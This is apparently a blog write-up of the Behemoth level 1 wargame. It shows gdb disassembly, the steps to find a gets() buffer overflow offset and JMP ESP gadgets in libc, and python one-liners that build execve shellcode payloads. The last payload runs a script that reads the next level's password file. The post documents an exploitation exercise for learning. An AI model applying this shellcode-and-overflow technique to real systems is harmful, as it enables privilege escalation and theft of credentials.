behemoth1@behemoth:~$ gdb /behemoth/behemoth1 .... (gdb) disass main Dump of assembler code for function main: 0x0804844b <+0>: push %ebp 0x0804844c <+1>: mov %esp,%ebp 0x0804844e <+3>: sub $0x44,%esp 0x08048451 <+6>: push $0x8048500 0x08048456 <+11>: call 0x8048300 <printf@plt> 0x0804845b <+16>: add $0x4,%esp 0x0804845e <+19>: lea -0x43(%ebp),%eax 0x08048461 <+22>: push %eax 0x08048462 <+23>: call 0x8048310 <gets@plt> 0x08048467 <+28>: add $0x4,%esp 0x0804846a <+31>: push $0x804850c 0x0804846f <+36>: call 0x8048320 <puts@plt> 0x08048474 <+41>: add $0x4,%esp 0x08048477 <+44>: mov $0x0,%eax 0x0804847c <+49>: leave 0x0804847d <+50>: ret End of assembler dump.
Ok it's just a sequence of printf(), gets() and puts().
No other call, no comparison, etc...
Let's try to input some increasingly sequence of characters:
(gdb) r The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /behemoth/behemoth1 Password: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Authentication failure. Sorry. (gdb) r Starting program: /behemoth/behemoth1 Password: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Authentication failure. Sorry. [Inferior 1 (process 27187) exited normally] (gdb) r Starting program: /behemoth/behemoth1 Password: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Authentication failure. Sorry. Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () (gdb)
OK... so we can control a return address with somewhat "long" input
Let's figure out how long input...
(gdb) r The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /behemoth/behemoth1 Password: 0123456789012345678901234567890123456789012345678901234567890123456789AAAABBBBCCCCDDDD Authentication failure. Sorry. Program received signal SIGSEGV, Segmentation fault. 0x42414141 in ?? ()
Seems that we need more than 71 bytes to trigger the overflow.
The execution flow is changed to the address contained in the byte 72-75 of the input
And cheking the registers, ESP is positioned on 76th bytes
(gdb) info reg eax 0x0 0 ecx 0xfbad0084 -72548220 edx 0xf7fc6870 -134453136 ebx 0x0 0 esp 0xffffd6e0 0xffffd6e0 ... (gdb) x/wx 0xffffd6e0 0xffffd6e0: 0x43424242
This means that we can successfully use a reliable tecnique like JMP ESP, provided we can find a usable opcode 0xffe4 ("JMP ESP" in hex)
(gdb) info proc map process 27246 Mapped address spaces: Start Addr End Addr Size Offset objfile 0x8048000 0x8049000 0x1000 0x0 /behemoth/behemoth1 0x8049000 0x804a000 0x1000 0x0 /behemoth/behemoth1 0x804a000 0x806b000 0x21000 0x0 [heap] 0xf7e10000 0xf7e12000 0x2000 0x0 0xf7e12000 0xf7fc3000 0x1b1000 0x0 /lib32/libc-2.24.so 0xf7fc3000 0xf7fc5000 0x2000 0x1b0000 /lib32/libc-2.24.so 0xf7fc5000 0xf7fc6000 0x1000 0x1b2000 /lib32/libc-2.24.so 0xf7fc6000 0xf7fc9000 0x3000 0x0 0xf7fd2000 0xf7fd4000 0x2000 0x0 0xf7fd4000 0xf7fd7000 0x3000 0x0 [vvar] 0xf7fd7000 0xf7fd9000 0x2000 0x0 [vdso] 0xf7fd9000 0xf7ffc000 0x23000 0x0 /lib32/ld-2.24.so 0xf7ffc000 0xf7ffd000 0x1000 0x22000 /lib32/ld-2.24.so 0xf7ffd000 0xf7ffe000 0x1000 0x23000 /lib32/ld-2.24.so 0xfffdd000 0xffffe000 0x21000 0x0 [stack] (gdb) find 0xf7e12000, 0xf7fc3000, 0xe4ff 0xf7f8a4df 0xf7f97fd7 0xf7fa6647 0xf7fa6d67 0xf7fb8a03
It seems that we have 5 JMP ESP and all of them have standard characters (non standard characters like "new line" , "carriage returns" can potentially end the gets() "too early").
Let's use the second address and prepare a buffer made of
- 71 filling bytes buffer
- 0xf7f97fd7
- a standard execve("/bin/sh") shellcode
behemoth1@behemoth:~$ python -c 'print "A"x71 + "\xd7\x7f\xf9\xf7" + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"' > /tmp/b-1 behemoth1@behemoth:~$ /behemoth/behemoth1 < /tmp/b-1
behemoth1@behemoth:~$
It doesn't do anything... or not?
behemoth1@behemoth:~$ strace /behemoth/behemoth1 < /tmp/b-1 execve("/behemoth/behemoth1", ["/behemoth/behemoth1"], [/* 17 vars */]) = 0 ... fstat64(0, {st_mode=S_IFREG|0644, st_size=99, ...}) = 0 read(0, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., 4096) = 99 write(1, "Password: Authentication failure"..., 34Password: Authentication failure. ) = 34 write(1, "Sorry.\n", 7Sorry. ) = 7 execve("/bin//sh", ["/bin//sh"], [/* 0 vars */]) = 0 strace: [ Process PID=3824 runs in 64 bit mode. ] .... getppid() = 3821 getcwd("/home/behemoth1", 4096) = 16 ioctl(0, TCGETS, 0x7fffffffebb0) = -1 ENOTTY (Inappropriate ioctl for device)
It looks like the shellcode is executed but it's not able to open the terminal device with ioctl() call.
Well, why not forcing output of password file instead of running a shell?
- Create a shell script (with vi or other editor) that dumps the password file and save it in "/tmp/b-2" (the name is not important)
- Make it executable
- Replace the execve("/bin//sh") with execve("/tmp/b-2") in the shellcode
- Save the exploit sstring to /tmp/b-1
- Execute the vulnerable program with input redirect from "/tmp/b-1"
ehemoth1@behemoth:~$ cat /tmp/b-2 #!/bin/sh /bin/cat /etc/behemoth_pass/behemoth2 behemoth1@behemoth:~$ chmod +x /tmp/b-2 behemoth1@behemoth:~$ python -c 'print "A"x71 + "\xd7\x7f\xf9\xf7" + "\x31\xc0\x50\x68/b-2\x68/tmp\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"' > /tmp/b-1 behemoth1@behemoth:~$ /behemoth/behemoth1 < /tmp/b-2 Password: Authentication failure. Sorry. e*******f
No comments:
Post a Comment
Note: Only a member of this blog may post a comment.